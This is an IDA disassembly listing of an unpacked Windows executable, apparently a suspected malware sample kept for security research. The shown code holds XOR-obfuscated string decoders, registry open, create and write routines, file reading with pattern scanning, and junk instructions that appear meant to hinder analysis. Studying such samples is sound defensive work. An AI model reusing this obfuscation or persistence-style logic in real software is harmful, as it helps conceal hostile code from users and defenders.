; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : F584783F6038B496B1A27C74378379DE ; File Name : u:\work\f584783f6038b496b1a27c74378379de_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _text segment para public 'DATA' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; DATA XREF: sub_401020+Ao ; sub_43EFBD+Ao arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h xor eax, eax inc eax mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 jz short locret_40101F mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_40101F: ; CODE XREF: sub_401000+Ej retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401020 proc near ; CODE XREF: sub_40109A+BEp ; sub_40109A+ECp var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_401000 push large dword ptr fs:0 mov large fs:0, esp loc_40103D: ; CODE XREF: sub_401020+44j ; sub_401020+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40106C cmp esi, [esp+1Ch+arg_4] jz short loc_40106C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_40103D call dword ptr [ebx+esi*4+8] jmp short loc_40103D ; --------------------------------------------------------------------------- loc_40106C: ; CODE XREF: sub_401020+2Aj ; sub_401020+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_401020 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40107A proc near ; CODE XREF: sub_40109A+B1p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_401092 push [ebp+arg_0] call sub_40C8B4 ; RtlUnwind sub_40107A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401092 proc near ; DATA XREF: sub_40107A+Bo ; sub_43F017+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401092 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40109A proc near ; DATA XREF: sub_401219+10o ; sub_407E49+Ao ... var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h cld push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] mov dword_43C08C, eax mov dword_43C090, ebx test dword ptr [eax+4], 6 jnz loc_40117F mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax mov dword_43C090, eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4010DD: ; CODE XREF: sub_40109A+DCj cmp esi, 0FFFFFFFFh jz loc_40118E lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_40116D push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov dword_43C030, eax mov edx, [ebp+var_14] mov eax, [edx] mov dword_43C034, eax mov eax, [edx+4] mov dword_43C038, eax push esi push edi push ecx mov ecx, 14h lea edi, dword_43C03C mov esi, dword_43C034 rep movsd lea edi, dword_43C03C mov dword_43C034, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_40116D js short loc_40117B mov edi, [ebx+8] push ebx call sub_40107A add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_401020 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_40116D: ; CODE XREF: sub_40109A+54j ; sub_40109A+A9j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_4010DD ; --------------------------------------------------------------------------- loc_40117B: ; CODE XREF: sub_40109A+ABj xor eax, eax jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_40117F: ; CODE XREF: sub_40109A+23j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_401020 add esp, 0Ch loc_40118E: ; CODE XREF: sub_40109A+46j push 0 mov dword_43C010, 0Bh push 0Bh call sub_40CC44 add esp, 8 or eax, eax jnz short loc_4011C9 push 0 mov dword_43C010, 8 push 8 call sub_40CC44 add esp, 8 or eax, eax jnz short loc_4011C9 mov eax, 1 jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_4011C9: ; CODE XREF: sub_40109A+10Cj ; sub_40109A+126j cmp eax, 0FFFFFFFFh jz short loc_4011F8 push eax push dword_43C010 call sub_40CC44 add esp, 8 push dword_43C010 call sub_40CC2C add esp, 4 mov eax, 1 loc_4011F0: ; CODE XREF: sub_40109A+E3j ; sub_40109A+12Dj ... pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_4011F8: ; CODE XREF: sub_40109A+132j cmp dword_43C02C, 0 jnz short loc_401208 mov eax, 1 jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_401208: ; CODE XREF: sub_40109A+165j mov eax, dword_43C02C push 0Bh jmp eax sub_40109A endp ; --------------------------------------------------------------------------- pop eax mov eax, 1 jmp short loc_4011F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401219 proc near ; CODE XREF: start+500j ; DATA XREF: start:loc_44A4FCo var_30 = word ptr -30h var_18 = dword ptr -18h var_4 = dword ptr -4 mov eax, large fs:0 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43C01C push offset sub_40109A push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp push eax fnstcw [esp+30h+var_30] or [esp+30h+var_30], 300h fldcw [esp+30h+var_30] add esp, 4 push 0 push 0 push offset dword_43C028 push offset dword_43C024 push offset dword_43C020 call sub_40CBCC push dword_43C028 push dword_43C024 push dword_43C020 mov dword_43C014, esp call sub_40C654 add esp, 18h xor ecx, ecx mov [ebp+var_4], ecx push eax call sub_40CBFC leave retn sub_401219 endp ; --------------------------------------------------------------------------- mov large fs:0, eax retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40129C proc near ; CODE XREF: sub_408ED0+23p ; sub_408ED0+3Fp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43C09C lea eax, ds:41B7B0h[eax] push eax call sub_40CC14 add esp, 0Ch mov [ebp+var_4], 14Bh xor edi, edi jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_4012CB: ; CODE XREF: sub_40129C+4Bj mov eax, dword_43C09C add eax, edi lea eax, ds:41B7B0h[eax] movsx edx, byte ptr [eax] xor edx, 0D4h mov [eax], dl inc edi loc_4012E5: ; CODE XREF: sub_40129C+2Dj cmp edi, esi jl short loc_4012CB mov [ebp+var_8], 286h mov eax, dword_43C09C add eax, esi mov byte ptr ds:dword_41B7B0[eax], 0 xor edi, edi mov edi, dword_43C09C inc dword_43C09C mov eax, dword_43C09C add eax, 5 add eax, esi mov dword_43C09C, eax cmp eax, 0E0Eh jle short loc_40132A and dword_43C09C, 0 loc_40132A: ; CODE XREF: sub_40129C+85j mov [ebp+var_C], 3DBh lea eax, dword_41B7B0[edi] pop edi pop esi leave retn sub_40129C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40133B proc near ; CODE XREF: sub_408048+118p var_14C1C = dword ptr -14C1Ch var_14C18 = dword ptr -14C18h var_14C14 = dword ptr -14C14h var_14C10 = byte ptr -14C10h var_8 = dword ptr -8 var_2 = word ptr -2 push ebp mov ebp, esp mov eax, 14C1Ch call sub_40C6B8 push ebx push esi push edi call sub_40C734 ; GetCurrentProcessId mov eax, dword_43C22C mov [ebp+var_14C18], eax push 0 push 0 push 3 push 0 push 0 push 80000000h push offset dword_40F1E0 call sub_40C8CC ; CreateFileA mov esi, eax mov ebx, 1CA5h sub ebx, 77B7h cmp esi, 0FFFFFFFFh jnz short loc_40138D xor eax, eax jmp loc_401420 ; --------------------------------------------------------------------------- loc_40138D: ; CODE XREF: sub_40133B+49j push 0 lea eax, [ebp+var_14C14] push eax push 14C08h lea eax, [ebp+var_14C10] push eax push esi call sub_40C8A8 ; ReadFile mov [ebp+var_2], 434Fh movzx eax, [ebp+var_2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2], ax push esi call sub_40C7AC ; CloseHandle mov [ebp+var_8], 67B8h mov eax, 79B5h mul [ebp+var_8] mov [ebp+var_14C1C], eax mov [ebp+var_8], eax xor edi, edi loc_4013DC: ; CODE XREF: sub_40133B+DCj mov eax, 13h sub eax, dword_43C098 push eax push offset byte_433FE0 lea eax, [ebp+edi+var_14C10] push eax call sub_40181A add esp, 0Ch cmp eax, 0FFFFh jz short loc_401409 xor eax, eax inc eax jmp short loc_401420 ; --------------------------------------------------------------------------- loc_401409: ; CODE XREF: sub_40133B+C7j call sub_40C734 ; GetCurrentProcessId add edi, 11h cmp edi, [ebp+var_14C14] jb short loc_4013DC call sub_40C7D0 ; GetVersion xor eax, eax loc_401420: ; CODE XREF: sub_40133B+4Dj ; sub_40133B+CCj pop edi pop esi pop ebx leave retn sub_40133B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 2A0h push esi push dword ptr [ebp+8] mov eax, dword_43C23C lea eax, ds:41A7F0h[eax] push eax call sub_40CC14 add esp, 0Ch mov dword ptr [ebp-8], 2B3h xor edi, edi jmp short loc_401475 ; --------------------------------------------------------------------------- loc_40145B: ; CODE XREF: .text:00401477j mov eax, dword_43C23C add eax, edi lea eax, ds:41A7F0h[eax] movsx edx, byte ptr [eax] xor edx, 0F6h mov [eax], dl inc edi loc_401475: ; CODE XREF: .text:00401459j cmp edi, esi jl short loc_40145B mov dword ptr [ebp-0Ch], 25h mov eax, dword_43C23C add eax, esi mov byte ptr ds:dword_41A7F0[eax], 0 mov edi, dword_43C23C inc dword_43C23C mov eax, dword_43C23C add eax, 5 add eax, esi mov dword_43C23C, eax cmp eax, 0E06h jle short loc_4014B8 and dword_43C23C, 0 loc_4014B8: ; CODE XREF: .text:004014AFj mov dword ptr [ebp-10h], 20Bh lea eax, dword_41A7F0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014C9 proc near ; CODE XREF: sub_4061F7+E1p ; sub_408B4C+128p ... var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = word ptr -4 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h push esi push edi mov [ebp+var_4], 19C3h sub [ebp+var_4], 4EAAh mov [ebp+var_1], 19h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al lea eax, [ebp+var_8] push eax push 20019h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40CB54 ; RegOpenKeyExA mov edi, eax mov esi, 2238h mov eax, 5994h mul esi mov [ebp+var_10], eax mov esi, eax or edi, edi jz short loc_40151F xor eax, eax jmp short loc_40156A ; --------------------------------------------------------------------------- loc_40151F: ; CODE XREF: sub_4014C9+50j call sub_40C7D0 ; GetVersion push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_8] call sub_40CB60 ; RegQueryValueExA mov edi, eax mov [ebp+var_9], 0B0h movzx eax, [ebp+var_9] imul eax, 38BBh mov [ebp+var_9], al push [ebp+var_8] call sub_40CB48 ; RegCloseKey call sub_40C764 ; RtlGetLastWin32Error or edi, edi jz short loc_401562 xor eax, eax jmp short loc_40156A ; --------------------------------------------------------------------------- loc_401562: ; CODE XREF: sub_4014C9+93j call sub_40C764 ; RtlGetLastWin32Error xor eax, eax inc eax loc_40156A: ; CODE XREF: sub_4014C9+54j ; sub_4014C9+97j pop edi pop esi leave retn sub_4014C9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 3A7h push esi push dword ptr [ebp+8] mov eax, dword_43C248 lea eax, ds:4351E0h[eax] push eax call sub_40CC14 add esp, 0Ch xor edi, edi jmp short loc_4015B4 ; --------------------------------------------------------------------------- loc_40159D: ; CODE XREF: .text:004015B6j mov eax, dword_43C248 add eax, edi lea eax, ds:4351E0h[eax] movsx edx, byte ptr [eax] xor edx, 35h mov [eax], dl inc edi loc_4015B4: ; CODE XREF: .text:0040159Bj cmp edi, esi jl short loc_40159D mov dword ptr [ebp-8], 249h mov eax, dword_43C248 add eax, esi mov byte ptr ds:dword_4351E0[eax], 0 mov edi, dword_43C248 mov eax, edi add eax, 6 add eax, esi mov dword_43C248, eax inc dword_43C248 cmp dword_43C248, 0DC9h jle short loc_4015F9 and dword_43C248, 0 loc_4015F9: ; CODE XREF: .text:004015F0j mov dword ptr [ebp-0Ch], 114h lea eax, dword_4351E0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40160A proc near ; CODE XREF: sub_405E88+9Cp ; sub_405E88+D9p ... var_10 = dword ptr -10h var_A = word ptr -0Ah var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h push edi call sub_40C740 ; GetCurrentThreadId mov [ebp+var_A], 6A47h add [ebp+var_A], 5A3h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40CB3C ; RegCreateKeyExA mov edi, eax call sub_40C7D0 ; GetVersion or edi, edi jz short loc_401651 xor eax, eax jmp short loc_4016AE ; --------------------------------------------------------------------------- loc_401651: ; CODE XREF: sub_40160A+41j call sub_40C7D0 ; GetVersion push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_8] call sub_40CB6C ; RegSetValueExA mov edi, eax call sub_40C734 ; GetCurrentProcessId push [ebp+var_8] call sub_40CB48 ; RegCloseKey mov [ebp+var_1], 14h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al or edi, edi jz short loc_401694 xor eax, eax jmp short loc_4016AE ; --------------------------------------------------------------------------- loc_401694: ; CODE XREF: sub_40160A+84j call sub_40C740 ; GetCurrentThreadId cmp [ebp+var_10], 1 jnz short loc_4016A6 mov eax, 2 jmp short loc_4016AE ; --------------------------------------------------------------------------- loc_4016A6: ; CODE XREF: sub_40160A+93j call sub_40C7D0 ; GetVersion xor eax, eax inc eax loc_4016AE: ; CODE XREF: sub_40160A+45j ; sub_40160A+88j ... pop edi leave retn sub_40160A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43C254 lea eax, ds:4383E0h[eax] push eax call sub_40CC14 add esp, 0Ch xor edi, edi jmp short loc_4016F0 ; --------------------------------------------------------------------------- loc_4016D6: ; CODE XREF: .text:004016F2j mov eax, dword_43C254 add eax, edi lea eax, ds:4383E0h[eax] movsx edx, byte ptr [eax] xor edx, 93h mov [eax], dl inc edi loc_4016F0: ; CODE XREF: .text:004016D4j cmp edi, esi jl short loc_4016D6 mov eax, dword_43C254 add eax, esi mov byte ptr ds:dword_4383E0[eax], 0 xor edi, edi mov edi, dword_43C254 mov eax, edi add eax, 4 add eax, esi mov dword_43C254, eax cmp eax, 0DEEh jle short loc_401725 and dword_43C254, 0 loc_401725: ; CODE XREF: .text:0040171Cj lea eax, dword_4383E0[edi] pop edi pop esi pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40172F proc near ; CODE XREF: sub_4054C8+159p ; sub_408B4C+74p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C7D0 ; GetVersion call sub_40C740 ; GetCurrentThreadId xor esi, esi jmp short loc_40176B ; --------------------------------------------------------------------------- loc_401746: ; CODE XREF: sub_40172F+3Fj call sub_40CC38 mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax add edi, 61h mov edx, edi mov [ebx+esi], dl inc esi loc_40176B: ; CODE XREF: sub_40172F+15j cmp esi, [ebp+arg_4] jl short loc_401746 mov eax, [ebp+arg_4] mov byte ptr [ebx+eax], 0 mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_40172F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 12Bh push esi push dword ptr [ebp+8] mov eax, dword_43C260 lea eax, ds:42FB20h[eax] push eax call sub_40CC14 add esp, 0Ch mov dword ptr [ebp-8], 283h xor edi, edi jmp short loc_4017CB ; --------------------------------------------------------------------------- loc_4017B4: ; CODE XREF: .text:004017CDj mov eax, dword_43C260 add eax, edi lea eax, ds:42FB20h[eax] movsx edx, byte ptr [eax] xor edx, 7Bh mov [eax], dl inc edi loc_4017CB: ; CODE XREF: .text:004017B2j cmp edi, esi jl short loc_4017B4 mov dword ptr [ebp-0Ch], 10Ch mov eax, dword_43C260 add eax, esi mov byte ptr ds:dword_42FB20[eax], 0 xor edi, edi mov edi, dword_43C260 add dword_43C260, 3 mov eax, dword_43C260 lea eax, [eax+esi+3] mov dword_43C260, eax cmp eax, 0DEDh jle short loc_401810 and dword_43C260, 0 loc_401810: ; CODE XREF: .text:00401807j lea eax, dword_42FB20[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40181A proc near ; CODE XREF: sub_40133B+BAp ; sub_40523D:loc_4052A8p ... var_24 = dword ptr -24h var_1E = byte ptr -1Eh var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = dword ptr -11h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov [ebp+var_D], 0C0h sub [ebp+var_D], 75h and [ebp+var_C], 0 mov eax, dword_43C264 mov [ebp+var_11], eax and [ebp+var_8], 0 jmp loc_4018EA ; --------------------------------------------------------------------------- loc_401840: ; CODE XREF: sub_40181A+E2j call sub_40C764 ; RtlGetLastWin32Error and [ebp+var_4], 0 mov [ebp+var_12], 0D8h movzx eax, [ebp+var_12] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_12], al xor ebx, ebx jmp short loc_4018D0 ; --------------------------------------------------------------------------- loc_40185E: ; CODE XREF: sub_40181A+C7j call sub_40C7C4 ; GetTickCount mov eax, [ebp+var_8] add eax, ebx mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+eax] mov edx, [ebp+arg_4] movsx edx, byte ptr [edx+ebx] cmp eax, edx jnz short loc_40187D inc [ebp+var_4] loc_40187D: ; CODE XREF: sub_40181A+5Ej mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_401885: ; CODE XREF: sub_40181A+70j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_401885 cmp [ebp+var_4], eax jnz short loc_4018CF call sub_40C734 ; GetCurrentProcessId inc [ebp+var_C] mov [ebp+var_18], 5F0h mov eax, 4B0Ah mul [ebp+var_18] mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_18], eax mov eax, [ebp+arg_8] cmp [ebp+var_C], eax jnz short loc_4018BE mov eax, [ebp+var_8] jmp short loc_401907 ; --------------------------------------------------------------------------- loc_4018BE: ; CODE XREF: sub_40181A+9Dj lea edi, [ebp+var_1E] lea esi, aO68 ; "o6,%8" mov ecx, 3 rep movsw loc_4018CF: ; CODE XREF: sub_40181A+75j inc ebx loc_4018D0: ; CODE XREF: sub_40181A+42j mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_4018D8: ; CODE XREF: sub_40181A+C3j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4018D8 cmp ebx, eax jb loc_40185E inc [ebp+var_8] loc_4018EA: ; CODE XREF: sub_40181A+21j mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_4018F2: ; CODE XREF: sub_40181A+DDj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4018F2 cmp [ebp+var_8], eax jb loc_401840 mov eax, 0FFFFh loc_401907: ; CODE XREF: sub_40181A+A2j pop edi pop esi pop ebx leave retn sub_40181A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43C278 lea eax, ds:4166F0h[eax] push eax call sub_40CC14 add esp, 0Ch mov dword ptr [ebp-4], 2A0h xor edi, edi jmp short loc_401952 ; --------------------------------------------------------------------------- loc_40193B: ; CODE XREF: .text:00401954j mov eax, dword_43C278 add eax, edi lea eax, ds:4166F0h[eax] movsx edx, byte ptr [eax] xor edx, 1Bh mov [eax], dl inc edi loc_401952: ; CODE XREF: .text:00401939j cmp edi, esi jl short loc_40193B mov dword ptr [ebp-8], 29Ch mov eax, dword_43C278 add eax, esi mov byte ptr ds:dword_4166F0[eax], 0 mov edi, dword_43C278 mov eax, edi inc eax add eax, esi mov dword_43C278, eax cmp eax, 0DDFh jle short loc_40198A and dword_43C278, 0 loc_40198A: ; CODE XREF: .text:00401981j mov dword ptr [ebp-0Ch], 0D8h lea eax, dword_4166F0[edi] pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push ebx push esi push edi call sub_40C7D0 ; GetVersion lea edi, [ebp-6] lea esi, aVlvh_ ; "vlVh_" mov ecx, 3 rep movsw mov ebx, [ebp+10h] jmp short loc_4019DB ; --------------------------------------------------------------------------- loc_4019BE: ; CODE XREF: .text:004019DEj mov eax, [ebp+8] movsx eax, byte ptr [eax+ebx] mov edx, ebx sub edx, [ebp+10h] mov ecx, [ebp+0Ch] movsx edx, byte ptr [ecx+edx] cmp eax, edx jz short loc_4019DA xor eax, eax inc eax jmp short loc_4019E2 ; --------------------------------------------------------------------------- loc_4019DA: ; CODE XREF: .text:004019D3j inc ebx loc_4019DB: ; CODE XREF: .text:004019BCj cmp ebx, [ebp+14h] jl short loc_4019BE xor eax, eax loc_4019E2: ; CODE XREF: .text:004019D8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 3DDh push esi push dword ptr [ebp+8] mov eax, dword_43C28C lea eax, ds:4340E0h[eax] push eax call sub_40CC14 add esp, 0Ch mov dword ptr [ebp-8], 38Eh xor edi, edi jmp short loc_401A34 ; --------------------------------------------------------------------------- loc_401A1D: ; CODE XREF: .text:00401A36j mov eax, dword_43C28C add eax, edi lea eax, ds:4340E0h[eax] movsx edx, byte ptr [eax] xor edx, 76h mov [eax], dl inc edi loc_401A34: ; CODE XREF: .text:00401A1Bj cmp edi, esi jl short loc_401A1D mov dword ptr [ebp-0Ch], 3E6h mov eax, dword_43C28C add eax, esi mov byte ptr ds:dword_4340E0[eax], 0 mov edi, dword_43C28C mov eax, edi lea eax, [eax+esi+5] mov dword_43C28C, eax cmp eax, 0DD0h jle short loc_401A6D and dword_43C28C, 0 loc_401A6D: ; CODE XREF: .text:00401A64j mov dword ptr [ebp-10h], 1E0h lea eax, dword_4340E0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A7E proc near ; CODE XREF: sub_4054C8+51p ; sub_4061F7+4B2p ... var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_1], 0C3h add [ebp+var_1], 29h push 0 push 80h push 3 push 0 push 3 push 80000000h push [ebp+arg_0] call sub_40C8CC ; CreateFileA mov edi, eax call sub_40C734 ; GetCurrentProcessId cmp edi, 0FFFFFFFFh jnz short loc_401ACF mov ax, word_43C290 mov [ebp+var_E], ax cmp [ebp+arg_4], 0 jz short loc_401ACB mov eax, [ebp+arg_4] and dword ptr [eax], 0 loc_401ACB: ; CODE XREF: sub_401A7E+45j xor eax, eax jmp short loc_401B1C ; --------------------------------------------------------------------------- loc_401ACF: ; CODE XREF: sub_401A7E+35j push 0 push edi call sub_40C74C ; GetFileSize mov esi, eax add eax, 10h push eax push 40h call sub_40C878 ; LocalAlloc mov ebx, eax call sub_40C734 ; GetCurrentProcessId push 0 cmp [ebp+arg_4], 0 jz short loc_401AFB mov eax, [ebp+arg_4] mov [ebp-10h], eax jmp short loc_401B01 ; --------------------------------------------------------------------------- loc_401AFB: ; CODE XREF: sub_401A7E+73j lea eax, [ebp+var_8] mov [ebp-10h], eax loc_401B01: ; CODE XREF: sub_401A7E+7Bj push dword ptr [ebp-10h] push esi push ebx push edi call sub_40C8A8 ; ReadFile mov eax, dword_43C292 mov [ebp+var_C], eax push edi call sub_40C7AC ; CloseHandle mov eax, ebx loc_401B1C: ; CODE XREF: sub_401A7E+4Fj pop edi pop esi pop ebx leave retn sub_401A7E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43C2A0 lea eax, ds:410820h[eax] push eax call sub_40CC14 add esp, 0Ch xor edi, edi jmp short loc_401B5E ; --------------------------------------------------------------------------- loc_401B47: ; CODE XREF: .text:00401B60j mov eax, dword_43C2A0 add eax, edi lea eax, ds:410820h[eax] movsx edx, byte ptr [eax] xor edx, 5Fh mov [eax], dl inc edi loc_401B5E: ; CODE XREF: .text:00401B45j cmp edi, esi jl short loc_401B47 mov dword ptr [ebp-4], 0D0h mov eax, dword_43C2A0 add eax, esi mov byte ptr ds:dword_410820[eax], 0 xor edi, edi mov edi, dword_43C2A0 add dword_43C2A0, 3 mov eax, dword_43C2A0 inc eax add eax, esi mov dword_43C2A0, eax inc dword_43C2A0 cmp dword_43C2A0, 0E06h jle short loc_401BAD and dword_43C2A0, 0 loc_401BAD: ; CODE XREF: .text:00401BA4j lea eax, dword_410820[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BB7 proc near ; CODE XREF: sub_4054C8+690p ; sub_4098A8+FD2p var_D = byte ptr -0Dh var_5 = byte ptr -5 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ax, word_43C2A4 mov [ebp+var_4], ax mov [ebp+var_2], 74D3h movzx eax, [ebp+var_2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2], ax mov ebx, [ebp+arg_4] jmp short loc_401C1E ; --------------------------------------------------------------------------- loc_401BE3: ; CODE XREF: sub_401BB7+6Ej mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 0Dh jnz short loc_401C1D call sub_40C734 ; GetCurrentProcessId mov eax, [ebp+arg_4] mov edx, ebx sub edx, eax push edx mov edx, [ebp+arg_0] add edx, eax push edx push [ebp+arg_8] call sub_40CC14 add esp, 0Ch mov eax, ebx sub eax, [ebp+arg_4] mov edx, [ebp+arg_8] mov byte ptr [edx+eax], 0 mov eax, ebx add eax, 2 jmp short loc_401C9C ; --------------------------------------------------------------------------- loc_401C1D: ; CODE XREF: sub_401BB7+33j inc ebx 